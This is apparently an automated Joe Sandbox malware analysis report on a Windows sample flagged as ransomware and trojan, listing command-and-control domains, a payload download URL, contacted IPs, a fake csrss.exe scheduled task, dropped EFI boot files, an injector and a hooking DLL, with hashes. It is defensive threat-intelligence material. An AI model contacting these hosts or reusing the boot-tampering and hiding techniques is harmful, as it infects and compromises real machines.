http://devlog.gregarius.net/docs/ua)Links	upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false	URL Reputation: safe	unknown
https://runmodes.com/api/logMachineGuidServiceVersionarch=64&build_number=17134&ec%3Af4%3Abb%3A86%3A	csrss.exe, 0000000B.00000002.567515603.00000000118BE000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS	upd.exe, 00000005.00000002.323457865.00000000118AE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://server2.trumops.com	csrss.exe, 0000000B.00000003.412084318.00000000118C6000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.412056794.00000000118BE000.00000004.00000001.sdmp, Null.11.dr	false	Avira URL Cloud: safe	unknown
http://grub.org)Mozilla/5.0	upd.exe, csrss.exe	false	Avira URL Cloud: safe	low
http://www.everyfeed.c	upd.exe, csrss.exe	false	Avira URL Cloud: safe	unknown
https://turnitin.com/robot/crawlerinfo.html)gentraceback	upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false		high
https://trumops.com	csrss.exe, 0000000B.00000002.567045543.0000000011846000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.566919363.0000000011804000.00000004.00000001.sdmp, Null.11.dr	false	Avira URL Cloud: safe	unknown
http://builtwith.com/biup)	upd.exe, csrss.exe	false		high
https://runmodes.com/api/log442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com	csrss.exe, 0000000B.00000003.411869472.00000000118D6000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://www.exabot.com/go/robot)Opera/9.80	upd.exe, csrss.exe	false	URL Reputation: safe	unknown
http://www.googlebot.com/bot.html)Links	upd.exe, csrss.exe	false	URL Reputation: safe	unknown
http://schemas.microsoft	svchost.exe, 0000000A.00000002.352136565.000001E387E7D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://server2.trumops.comc=fa2e76e6e1aa03da&uuid=server2.trumops.com:443server2.trumops.com:443tcp	csrss.exe, 0000000B.00000002.568492280.0000000011A78000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://search.msn.com/msnbot.htm)net/http:	csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false		high
https://humisnee.com/sbmstart.phpindefinite	upd.exe, csrss.exe	false	Avira URL Cloud: safe	unknown
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882	csrss.exe, 0000000B.00000002.568303341.00000000119AA000.00000004.00000001.sdmp, Null.11.dr	false	Avira URL Cloud: safe	unknown
http://search.msn.com/msnbot.htm)msnbot/1.1	upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false		high
https://logs.trumops.comhttps://runmodes.com/api/loghttps://server2.trumops.com	csrss.exe, 0000000B.00000003.412056794.00000000118BE000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://trumops.com/api/install-failureinvalid	upd.exe, csrss.exe	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000001F.00000002.434211231.000002A198900000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://server2.trumops.com/api/pollE	csrss.exe, 0000000B.00000002.567910236.0000000011926000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.archive.org/details/archive.org_bot)Opera/9.80	upd.exe, csrss.exe	false		high
http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4	upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false		high
http://yandex.com/bots)Opera/9.51	upd.exe, csrss.exe	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000001F.00000003.410443706.000002A1989AE000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.410486166.000002A198986000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.google.com/bot.html)Mozilla/5.0	csrss.exe	false		high
https://server16.trumops.com	0NlSa5bf55.exe, 00000000.00000003.302106289.00000000114E2000.00000004.00000001.sdmp, 0NlSa5bf55.exe, 00000000.00000002.314895164.00000000114C0000.00000004.00000001.sdmp, 0NlSa5bf55.exe, 00000000.00000003.301759199.00000000115C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882:s	0NlSa5bf55.exe, 00000000.00000002.313848817.000000001140C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://https://_bad_pdb_file.pdb	upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	low
http://archive.org/details/archive.org_bot)Mozilla/5.0	upd.exe, csrss.exe	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.bloglines.com)F	upd.exe, csrss.exe	false	Avira URL Cloud: safe	low
http://misc.yahoo.com.cn/he	upd.exe, csrss.exe	false	Avira URL Cloud: safe	unknown
http://newscommer.com/app/app.exe	csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	true	URL Reputation: malware	unknown
http://www.google.com/feedfetcher.html)HKLM	upd.exe, csrss.exe	false		high
http://crl.g	upd.exe.0.dr	false	URL Reputation: safe	unknown
https://blockchain.infoindex	csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.baidu.com/search/spide	upd.exe, csrss.exe	false		high
http://yandex.com/bots)Opera/9.80	upd.exe, csrss.exe	false		high
https://disneyplus.com/legal.	svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/	svchost.exe, 0000001F.00000003.410486166.000002A198986000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://sitescore.aiValue	upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.avantbrowser.com)MOT-V9mm/00.62	upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	low
https://runmodes.com/api/loginvalid	0NlSa5bf55.exe, 0NlSa5bf55.exe, 00000000.00000002.310849116.0000000000401000.00000040.00020000.sdmp	true	Avira URL Cloud: malware	unknown
https://server2.trumops.comserver2.trumops.com:443server2.trumops.com:443tcpserver2.trumops.coma	csrss.exe, 0000000B.00000002.568492280.0000000011A78000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://search.msn.com/msnbot.htm)pkcs7:	upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false		high
http://www.alexa.com/help/webmasters;	upd.exe, csrss.exe	false		high
http://www.google.com/adsbot.html)Encountered	upd.exe, csrss.exe	false		high
http://help.disneyplus.com.	svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.144	server16.trumops.com	United States	13335	CLOUDFLARENETUS	false
104.21.92.165	gohnot.com	United States	13335	CLOUDFLARENETUS	false
104.21.79.9	server2.trumops.com	United States	13335	CLOUDFLARENETUS	false
172.67.207.136	runmodes.com	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	515565
Start date:	04.11.2021
Start time:	13:11:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0NlSa5bf55 (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@41/15@21/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 98.7% (good quality ratio 80.1%) Quality average: 58.5% Quality standard deviation: 36.8%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, csrss.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.79.89.181, 23.211.6.115, 20.54.110.249, 52.251.79.25 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, e16646.dscg.akamaiedge.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:12:43	API Interceptor	9x Sleep call for process: upd.exe modified
13:13:00	API Interceptor	5x Sleep call for process: csrss.exe modified
13:13:08	Task Scheduler	Run new task: csrss path: C:\Windows\rss\csrss.exe
13:13:28	API Interceptor	8x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.139.144	f6oNLRKHUy.exe	Get hash	malicious	Browse
172.67.139.144	jkDmft1Qoe.exe	Get hash	malicious	Browse
104.21.92.165	f6oNLRKHUy.exe	Get hash	malicious	Browse	gohnot.com/0281c43f36eb9f47aab5357d48bbc076/watchdog.exe
104.21.79.9	f6oNLRKHUy.exe	Get hash	malicious	Browse
104.21.79.9	jkDmft1Qoe.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
gohnot.com	f6oNLRKHUy.exe	Get hash	malicious	Browse	104.21.92.165
gohnot.com	jkDmft1Qoe.exe	Get hash	malicious	Browse	172.67.196.11
runmodes.com	f6oNLRKHUy.exe	Get hash	malicious	Browse	104.21.34.203

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	lRgWGfOYVQ.exe	Get hash	malicious	Browse	172.67.205.83
	DpUlb8nrcS.exe	Get hash	malicious	Browse	104.21.75.57
	PO#006503.pdf.exe	Get hash	malicious	Browse	23.227.38.74
	52k0qe3yt3.dll	Get hash	malicious	Browse	104.20.184.68
	BQIyt2B7Im.dll	Get hash	malicious	Browse	172.67.70.134
	52k0qe3yt3.dll	Get hash	malicious	Browse	104.20.185.68
	1H6wm3BZbJ.exe	Get hash	malicious	Browse	104.21.76.206
	BQIyt2B7Im.dll	Get hash	malicious	Browse	172.67.70.134
	November 3, 2021, 3%3A47%3A56 PM.HTM	Get hash	malicious	Browse	104.18.11.207
	SayEjNMwtQ.dll	Get hash	malicious	Browse	104.26.6.139
	bUcXB5APT3.exe	Get hash	malicious	Browse	162.159.129.233
	uj8A47Ew7u.dll	Get hash	malicious	Browse	172.67.70.134
	SayEjNMwtQ.dll	Get hash	malicious	Browse	104.26.7.139
	uj8A47Ew7u.dll	Get hash	malicious	Browse	172.67.70.134
	nowy przyk#U0142adowy katalog.exe	Get hash	malicious	Browse	172.67.184.156
	Siparis onayi.exe	Get hash	malicious	Browse	162.159.133.233
	11651572,pdf.exe	Get hash	malicious	Browse	104.21.19.200
	$24,363.98.gz.exe	Get hash	malicious	Browse	162.159.130.233
	e-Ar#U015fiv Fatura.exe	Get hash	malicious	Browse	162.159.133.233
	doc202111036979790.exe	Get hash	malicious	Browse	104.21.19.200
CLOUDFLARENETUS	lRgWGfOYVQ.exe	Get hash	malicious	Browse	172.67.205.83
	DpUlb8nrcS.exe	Get hash	malicious	Browse	104.21.75.57
	PO#006503.pdf.exe	Get hash	malicious	Browse	23.227.38.74
	52k0qe3yt3.dll	Get hash	malicious	Browse	104.20.184.68
	BQIyt2B7Im.dll	Get hash	malicious	Browse	172.67.70.134
	52k0qe3yt3.dll	Get hash	malicious	Browse	104.20.185.68
	1H6wm3BZbJ.exe	Get hash	malicious	Browse	104.21.76.206
	BQIyt2B7Im.dll	Get hash	malicious	Browse	172.67.70.134
	November 3, 2021, 3%3A47%3A56 PM.HTM	Get hash	malicious	Browse	104.18.11.207
	SayEjNMwtQ.dll	Get hash	malicious	Browse	104.26.6.139
	bUcXB5APT3.exe	Get hash	malicious	Browse	162.159.129.233
	uj8A47Ew7u.dll	Get hash	malicious	Browse	172.67.70.134
	SayEjNMwtQ.dll	Get hash	malicious	Browse	104.26.7.139
	uj8A47Ew7u.dll	Get hash	malicious	Browse	172.67.70.134
	nowy przyk#U0142adowy katalog.exe	Get hash	malicious	Browse	172.67.184.156
	Siparis onayi.exe	Get hash	malicious	Browse	162.159.133.233
	11651572,pdf.exe	Get hash	malicious	Browse	104.21.19.200
	$24,363.98.gz.exe	Get hash	malicious	Browse	162.159.130.233
	e-Ar#U015fiv Fatura.exe	Get hash	malicious	Browse	162.159.133.233
	doc202111036979790.exe	Get hash	malicious	Browse	104.21.19.200

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
B:\EFI\Boot\old.efi (copy)	f6oNLRKHUy.exe	Get hash	malicious	Browse
	jkDmft1Qoe.exe	Get hash	malicious	Browse
	app.exe	Get hash	malicious	Browse
	csrss.exe	Get hash	malicious	Browse
	csrss.exe	Get hash	malicious	Browse
	gFNUQfsbhl.exe	Get hash	malicious	Browse
	AHRwK0YGzi.exe	Get hash	malicious	Browse
	xYVQ2CgP0M.exe	Get hash	malicious	Browse
	HAZhIgUBm9.exe	Get hash	malicious	Browse
	hwvUt9M5T0.exe	Get hash	malicious	Browse
	7u479GG98a.exe	Get hash	malicious	Browse
	bjEAtgsQV8.exe	Get hash	malicious	Browse
	bxW8vusMVJ.exe	Get hash	malicious	Browse
	5uy2bFmu5S.exe	Get hash	malicious	Browse
	ddscRyPcLJ.exe	Get hash	malicious	Browse
	v1Ni5GOWI6.exe	Get hash	malicious	Browse
	A9j7TdY8pG.exe	Get hash	malicious	Browse
	10hORi8M8E.exe	Get hash	malicious	Browse
	5H9JkoJNvF.exe	Get hash	malicious	Browse
	mLvt2Sebz3.exe	Get hash	malicious	Browse

Created / dropped Files

B:\EFI\Boot\old.efi (copy) Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: f6oNLRKHUy.exe, Detection: malicious, Browse Filename: jkDmft1Qoe.exe, Detection: malicious, Browse Filename: app.exe, Detection: malicious, Browse Filename: csrss.exe, Detection: malicious, Browse Filename: csrss.exe, Detection: malicious, Browse Filename: gFNUQfsbhl.exe, Detection: malicious, Browse Filename: AHRwK0YGzi.exe, Detection: malicious, Browse Filename: xYVQ2CgP0M.exe, Detection: malicious, Browse Filename: HAZhIgUBm9.exe, Detection: malicious, Browse Filename: hwvUt9M5T0.exe, Detection: malicious, Browse Filename: 7u479GG98a.exe, Detection: malicious, Browse Filename: bjEAtgsQV8.exe, Detection: malicious, Browse Filename: bxW8vusMVJ.exe, Detection: malicious, Browse Filename: 5uy2bFmu5S.exe, Detection: malicious, Browse Filename: ddscRyPcLJ.exe, Detection: malicious, Browse Filename: v1Ni5GOWI6.exe, Detection: malicious, Browse Filename: A9j7TdY8pG.exe, Detection: malicious, Browse Filename: 10hORi8M8E.exe, Detection: malicious, Browse Filename: 5H9JkoJNvF.exe, Detection: malicious, Browse Filename: mLvt2Sebz3.exe, Detection: malicious, Browse
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

B:\EFI\Microsoft\Boot\fw.efi (copy) Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Boot\EfiGuardDxe.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	279552
Entropy (8bit):	4.553173975914215
Encrypted:	false
SSDEEP:	3072:ekODsOuozgl9aXsRzZZZZrUhFapDL4k2yntc:ekeklesRD6yt
MD5:	2B84CB96AE6280C2020FA46E4A8A07D8
SHA1:	E920E40CFC0C6A805D657C8F23F9C0612CD39F59
SHA-256:	01E86A4DFE6E0DE7857B3CF2FAFD041C8B3A3241E00844CB6BFBD3BFAE2D36BC
SHA-512:	F1A6598116F78FBA1F9531301A7313AC204BAB3B7AEBC299F69F2ED406F4EDAFC3410DB860E93D0DC7C24398F5A7FF595764400F31A3A06679FD6EC0EFB116D9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ..............................................................................................................................................................................................PE..d................." ................x........................................................................................................................P...............p.......................................................................................text.............................. ..h.data..............................@....pdata.......P.......8..............@..H.xdata..X....`.......<..............@..B.reloc.......p.......B..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Boot\bootx64.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Microsoft\Boot\bootmgfw.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	101376
Entropy (8bit):	5.951577458824018
Encrypted:	false
SSDEEP:	3072:U3JJpaHtGsxJZ7zmaUMf2ETb4w1GMYbuT:csTF5U3EfndT
MD5:	09031A062610D77D685C9934318B4170
SHA1:	880F744184E7774F3D14C1BB857E21CC7FE89A6D
SHA-256:	778BD69AF403DF3C4E074C31B3850D71BF0E64524BEA4272A802CA9520B379DD
SHA-512:	9A276E1F0F55D35F2BF38EB093464F7065BDD30A660E6D1C62EED5E76D1FB2201567B89D9AE65D2D89DC99B142159E36FB73BE8D5E08252A975D50544A7CDA27
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b..............k......k......k..r...w......w......w......k............. w...... w...... w......Rich............PE..d...o.D`.........." ................$/....................................................`..................................................g..(...............p...............<....W..8...........................@W..8............................................text............................... ..`.rdata.............................@..@.data................d..............@....pdata..p............p..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	6.31266455792162
Encrypted:	false
SSDEEP:	3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5:	D98E33B66343E7C96158444127A117F6
SHA1:	BB716C5509A2BF345C6C1152F6E3E1452D39D50D
SHA-256:	5DE4E2B07A26102FE527606CE5DA1D5A4B938967C9D380A3C5FE86E2E34AAAF1
SHA-512:	705275E4A1BA8205EB799A8CF1737BC8BA686925E52C9198A6060A7ABEEE65552A85B814AC494A4B975D496A63BE285F19A6265550585F2FC85824C42D7EFAB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 14%, Browse Antivirus: ReversingLabs, Detection: 73%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................\|..............................................t...........Rich...................PE..d...l.D`..........".................T..........@..........................................`.....................................................(............`...'..............`...@...8...............................8............................................text...H........................... ..`.rdata...9.......:..................@..@.data...`....0......................@....pdata...'...`...(..................@..@_RDATA...............V..............@..@.rsrc................X..............@..@.reloc..`............Z..............@..B........................................................................................................................................................................................................

C:\Users\user\Desktop\upd.exe Download File
Process:	C:\Users\user\Desktop\0NlSa5bf55.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	3788288
Entropy (8bit):	7.892618389779633
Encrypted:	false
SSDEEP:	98304:r1HRHgwXrMeyKVNrb6VryiHiJ+9fCU/3PLg:r1HvrZ9Vlfq1pN3
MD5:	3C3046F640F7825C720849AAA809C963
SHA1:	61AE00EC8041DE7826DECEB176C495AB23392EFB
SHA-256:	3993AA1A1CF9BA37316DB59A6EF67B15EF0F49FCD79CF2420989B9E4A19FFC2A
SHA-512:	64FCA2287D36195C66E11C62292D094ECF7374BCAF931D04AEA5A388F7F67D5588BAE14A79107E61D660E745A17D577D06A69C367408AC48C4A789317D2B2470
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 31%, Browse Antivirus: ReversingLabs, Detection: 86%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........$................9......0R. ....@R.......@.......................... ......................................................................................................................................................................UPX0.....0R.............................UPX1......9..@R...9.................@...UPX2..................9.............@...3.95.UPX!.......-..s.....9..&..&"....... Go build ID: "efKxbRE8zJFH9gxB....7pBf/JfqrRU>jpK8uMrff7Rq/6PoX...onZYEm2XfJCsywwk/P5vIQLaJH_zAA....twCM0QU". ...d...........;a.v ...."....D$...$...`..k..&.........\|.....f.......dnl.L$h......m..g$....4..$....,.....\H......1.1.TP....~..\|.\Z.;cpu.u.d,.T.@.....iT=........H9.............Y...?.............l.....0.9....lX..?(.\|$<).......!..}...$.T..$0............Z..\*f..on....m.......;5al..p7.......M..<W........L....A....9.}..w._.9.-8.9....5...p........

C:\Windows\Logs\CBS\CBS.log Download File
Process:	C:\Windows\servicing\TrustedInstaller.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	3080192
Entropy (8bit):	5.314136477236586
Encrypted:	false
SSDEEP:	6144:TLS5YygL1mnGVFQa/qJIxOfTFyKQel5lmhSVjfChq4TMmdqIH:TL1dq
MD5:	1602CB2334DFE1B40AA9BD15E39BA0C2
SHA1:	E8CDC55E0CEC5925B2FAE4581E9A7059C83B6375
SHA-256:	21C8082B81E5F535410DC8BE90DCA278715A735425BDBD61CB081B710168C657
SHA-512:	F54E1400F194F35CA4CD2541FD9DCB27F9D06EC900E63C7EB0A792249BF6B6127666B277329118067F0E4A5BB2733240643D57A7F60C0C67528A7F4059843CD2
Malicious:	false
